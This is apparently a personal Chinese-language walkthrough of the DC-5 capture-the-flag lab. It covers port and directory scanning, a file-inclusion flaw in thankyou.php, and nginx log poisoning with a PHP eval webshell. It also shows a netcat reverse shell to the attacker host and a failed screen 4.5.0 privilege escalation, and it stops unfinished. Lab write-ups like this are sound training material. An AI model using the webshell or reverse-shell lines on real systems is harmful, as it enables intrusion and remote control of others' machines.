信息收集
sudo arp-scan -l
ip为192.168.146.143
端口扫描
-p-全端口扫描
-sS( 使用TCP的SYN进行扫描)
nmap -A (全面扫描、列出端口等信息)-sV(服务版本) 192.168.146.143
开放了80 111 49964端口
web服务器是nginx 1.6.2
111端口运行的是rpcbind服务
rpcbind是一个RPC服务(RPC是一种远程过程调用协议,规定了双方通信采用什么格式、以及数据如何传输),简单说就是
计算机 A 上的进程,调用另外一台计算机 B 上的进程,其中 A 上的调用进程被挂起,而 B 上的被调用进程开始执行,当值返回给 A 时,A 进程继续执行。调用方可以通过使用参数将信息传送给被调用方,而后可以通过传回的结果得到信息
2-4 (RPC #100000):这表示rpcbind服务的版本范围是2到4,RPC #100000是该服务的RPC程序编号
100000 2,3,4 111/tcp rpcbind表明RPC编号为100000的服务(即rpcbind)的版本2、3、4在TCP协议的111端口上可用
另一个RPC编号为100024,服务名为status
100024 1 35680/udp status 版本1的status服务在UDP协议的35680端口上可用
去访问dc5的网页看看,没有登录框,只是一堆文字
contact有一个留言板、随便写点啥、提交
发现下面的Copyright © 2019变了
隐藏目录扫描
用dirb
根据用户提供的字典,对目标网站目录进行暴力猜测。它会尝试以递归方式进行爆破,以发现更多的路径
dirb http://192.168.146.143/(网址) 字典路径(没有的话就使用默认字典)
只发现了个index.php(就是网站的初始目录)
加上 -X .php 使用指定的 扩展名 进行搜索
多了footer.php
tankyou.php
访问footer.php 随着刷新、下面的Copyright ©2019会变
符号©,是英文Copyright(版权)的简写,代表作者版权所有声明
如果只包含一个年份,说明这是第一次发布。如果包含时间段,则第一个年份为第一次发布的年份,第二个是当前版本发布的年份
tankyou.php,随着刷新、下面的Copyright ©2019会变
网站的版权年份会变,应该是有漏洞
看了其它博客知道存在文件包含漏洞
文件包含:
把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件
程序开发人员一般希望代码更灵活,将被包含的文件设置为变量,用来进行动态调用
文件包含漏洞:用户对这个变量可控而且服务端又没有做合理的校检或者校检被绕过
猜测 tankyou.php里调用了footer.php函数文件
现在要找到这个变量 把变量值设为敏感文件路径或者包含函数的文件(需要上传)
烦死了、网页就不能自动保存嘛、写的全没了
变量为file 根据经验猜的
输入地址,看图片url,没有年份
再输入,看图片url,有年份
再输入,看图片url
查看源代码 有一个dc用户 但没有找到登录框 先放着
nginx有/var/log/nginx/access.log(访问日志)
和/var/log/nginx/error.log(错误日志)
查看
include(/etc/shadow) 刚刚的输入被记录了
写入一句话木马
<?php @eval($_POST['pass']);?>
(php的代码要写在<?php ?>
里面,服务器才能认出来这是php代码
@
符号的意思是不报错,即使执行错误,也不报错
$_POST['a']
; 的意思就是a这个变量,用post的方法接收。(传输数据的两种方法,get、post,post是在消息体存放数据,get是在消息头的url路径里存放数据)
eval()把字符串作为PHP代码执行)
日志里边记录了, 所以木马就是错误日志
路径
http://192.168.146.143/thankyou.php?file=/var/log/nginx/error.log
下载蚁剑参考安装蚁剑
连接没成功
如果直接在地址栏输入会被浏览器编码,这样的话一句话木马就不能发挥作用了
抓包结果为
修改
成功看到
连接木马
还是没成功 明天写
发现原因了,我把php @的空格删了 再抓包修改 就能用蚁剑连接成功
连接密码就是 <?php @eval($_POST['123']);?>中的123
点测试连接 然后点击添加
右键在此打开终端
反弹shell
在kali终端先监听一个端口4444
nc -lvp 4444
-l:
nc将处于侦听模式,nc被当作server,侦听并接受连接
-v: 输出交互或出错信息
-p:本地端口
然后在蚁剑终端 执行nc -e /bin/bash 192.168.146.140(kali主机ip) 4444
使用 netcat 连接到 IP 地址为 192.168.146.140、端口号为 4444 的计算机,并在连接成功后,在该计算机上启动一个 bash shell
交互式shell
python -c ‘import pty;pty.spawn(“/bin/bash”)’
试试suid提权
find / -perm -4000 2>/dev/null
能够知道screen 版本为4.5.0
搜索这个版本漏洞 有两个都是关于提权的
第一漏洞文件路径/usr/share/exploitdb/exploits/linux/local/41154.sh
查看
看第二个漏洞文件
当我用第二个 执行id与漏洞文件结果不一样
只能用第一个了
在kali创建一个libhax.c文件
编译
删除.c文件
创建rootshell.c文件
然后编译
接着创建dc5.sh #!/bin/bash 指明使用哪个解释器
先set ff=unix 再保存 是为了防止脚本的格式错误
打开蚁剑,在/tmp目录 上传这三个文件
/tmp目录权限通常设置为777
在靶机的shell里边chmod +x dc5.sh 可执行权限
运行./dc5.sh
发现不行哦、其他博主这个方法能行
直接用蚁剑上传41154.sh
或者开启http服务、用wget
也不行,一样的问题
/tmp/rootshell: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by /tmp/rootshell)
应该是要升级glibc库或Linux系统
再试试git提权
没法用
有点像rbash用户
查看系统信息
还有之前的信息收集端口也没用
不写了